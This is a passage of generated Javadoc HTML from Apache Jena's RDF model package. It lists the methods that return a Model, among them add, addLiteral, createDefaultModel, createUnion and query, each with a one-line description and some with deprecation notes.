href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">add all the statements in the List to this Model, going through the bulk update interface (which means turning them into triples in one form or another).</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Model)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Add all the statements in another model to this model, including the reified statements.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Model, boolean)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m, boolean&nbsp;<API key>)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i><API key> no longer has any effect.</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#add(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, com.hp.hpl.jena.rdf.model.RDFNode)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html" title="interface in com.hp.hpl.jena.rdf.model">RDFNode</a>&nbsp;o)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#add(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, java.lang.String)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;o)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#add(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, java.lang.String, boolean)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;o, boolean&nbsp;wellFormed)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#add(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, java.lang.String, com.hp.hpl.jena.datatypes.RDFDatatype)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lex, <a href="../../../../../../../com/hp/hpl/jena/datatypes/RDFDatatype.html" title="interface in com.hp.hpl.jena.datatypes">RDFDatatype</a>&nbsp;datatype)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#add(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, java.lang.String, java.lang.String)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;o, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;l)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Statement)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html" title="interface in com.hp.hpl.jena.rdf.model">Statement</a>&nbsp;s)</code> <div class="block">Add a statement to this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.Statement[])">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html" title="interface in com.hp.hpl.jena.rdf.model">Statement</a>[]&nbsp;statements)</code> <div class="block">Add all the statements to the Model, using through the bulk update interface.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#add(com.hp.hpl.jena.rdf.model.StmtIterator)">add</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/StmtIterator.html" title="interface in com.hp.hpl.jena.rdf.model">StmtIterator</a>&nbsp;iter)</code> <div class="block">Add all the statements returned by an iterator to this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, boolean)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, boolean&nbsp;o)</code> <div class="block">Add the statement (s, p, createTypedLiteral( o )) to this model and answer this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, char)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, char&nbsp;o)</code> <div class="block">Add the statement (s, p, createTypedLiteral( o )) to this model and answer this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, double)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, double&nbsp;o)</code> <div class="block">Add the statement (s, p, o') to the model, where o' is the typed literal corresponding to o.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, float)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, float&nbsp;o)</code> <div class="block">Add the statement (s, p, o') to the model, where o' is the typed literal corresponding to o.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, int)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, int&nbsp;o)</code> <div class="block">Add the statement (s, p, createTypedLiteral( o )) to this model and answer this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, com.hp.hpl.jena.rdf.model.Literal)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Literal.html" title="interface in com.hp.hpl.jena.rdf.model">Literal</a>&nbsp;o)</code> <div class="block">add a statement to this model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, long)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, long&nbsp;o)</code> <div class="block">Add the statement (s, p, createTypedLiteral( o )) to this model and answer this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelCon.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelCon.html#addLiteral(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Property, java.lang.Object)">addLiteral</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;s, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Property.html" title="interface in com.hp.hpl.jena.rdf.model">Property</a>&nbsp;p, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a>&nbsp;o)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i>Freshly (should have been done a while ago)</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#assembleModelFrom(com.hp.hpl.jena.rdf.model.Model)">assembleModelFrom</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;singleRoot)</code> <div class="block">Answer a Model constructed from the single resource in <code>singleRoot</code> of type <code>ja:Model</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#assembleModelFrom(com.hp.hpl.jena.rdf.model.Resource)">assembleModelFrom</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;root)</code> <div class="block">Answer a Model as described the the Assembler specification rooted at the Resource <code>root</code> in its Model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#begin()">begin</a></strong>()</code> <div class="block">Begin a new transation.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#commit()">commit</a></strong>()</code> <div class="block">Commit the current transaction.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createDefaultModel()">createDefaultModel</a></strong>()</code> <div class="block">Answer a fresh Model with the default specification.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelSource.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelSource.html#createDefaultModel()">createDefaultModel</a></strong>()</code> <div class="block">Answer this ModelSource's default model.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createDefaultModel(com.hp.hpl.jena.shared.ReificationStyle)">createDefaultModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/shared/ReificationStyle.html" title="class in com.hp.hpl.jena.shared">ReificationStyle</a>&nbsp;style)</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i>Hidden partial reifications not supported -- only style "Standard"</i></div> </div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelSource.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelSource.html#createFreshModel()">createFreshModel</a></strong>()</code> <div class="block">Answer a Model that satisfies this ModelSource's shape.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelMaker.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelMaker.html <div class="block">Create a Model with the given name if no such model exists.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelMaker.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelMaker.html boolean&nbsp;strict)</code> <div class="block">Create a new Model associated with the given name.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createModelForGraph(com.hp.hpl.jena.graph.Graph)">createModelForGraph</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/graph/Graph.html" title="interface in com.hp.hpl.jena.graph">Graph</a>&nbsp;g)</code> <div class="block">Answer a model that encapsulates the given graph.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#<API key>()"><API key></a></strong>()</code> <div class="block"><strong>Deprecated.</strong>&nbsp; <div class="block"><i>All models are ReificationStyle.Standard by default and there is no other supported style.</i></div> </div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelFactory.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelFactory.html#createUnion(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">createUnion</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m1, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m2)</code> <div class="block">Answer a new model that is the dynamic union of two other models.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#difference(com.hp.hpl.jena.rdf.model.Model)">difference</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements in this model which are not in another.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExtract.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelExtract.html#extract(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Model)">extract</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;r, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;s)</code> <div class="block">Answer the rooted sub-model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExtract.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelExtract.html#extractInto(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.rdf.model.Model)">extractInto</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;r, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;s)</code> <div class="block">Answer <code>model</code> after updating it with the sub-graph of <code>s</code> rooted at <code>r</code>, bounded by this instances <code>boundary</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">InfModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html#getDeductionsModel()">getDeductionsModel</a></strong>()</code> <div class="block">Returns a derivations model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Statement.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Statement.html#getModel()">getModel</a></strong>()</code> <div class="block">get the Model this Statement was created in.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">RDFNode.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/RDFNode.html#getModel()">getModel</a></strong>()</code> <div class="block">Return the model associated with this resource.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelGetter.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelGetter.html <div class="block">Answer a Model whose content is that associated with the URL, if possible, and otherwise answer null.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelGetter.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelGetter.html <a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelReader.html" title="interface in com.hp.hpl.jena.rdf.model">ModelReader</a>&nbsp;loadIfAbsent)</code> <div class="block">Answer a model appropriate for <code>URL</code>, If none is to hand, and it's possible to create one, create it and load it using <code>loadIfAbsent</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">InfModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/InfModel.html#getRawModel()">getRawModel</a></strong>()</code> <div class="block">Return the raw RDF model being processed (i.e.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#intersection(com.hp.hpl.jena.rdf.model.Model)">intersection</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Create a new, independant, model containing all the statements which are in both this model and another.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <div class="block">Notify any listeners that the event e has occurred.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelSource.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelSource.html <div class="block">Answer a model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelMaker.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelMaker.html boolean&nbsp;strict)</code> <div class="block">Find an existing Model that this factory knows about under the given name.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelSource.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/ModelSource.html <div class="block">Answer the model named by <code>string</code> in this ModelSource, if it [still] has one, or <code>null</code> if there isn't one.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html#query(com.hp.hpl.jena.rdf.model.Selector)">query</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Selector.html" title="interface in com.hp.hpl.jena.rdf.model">Selector</a>&nbsp;s)</code> <div class="block">Create a new model containing the statements matching a query.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Model.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Add statements from an RDF/XML serialization.</div> </td> </tr> <tr class="rowColor"> <td 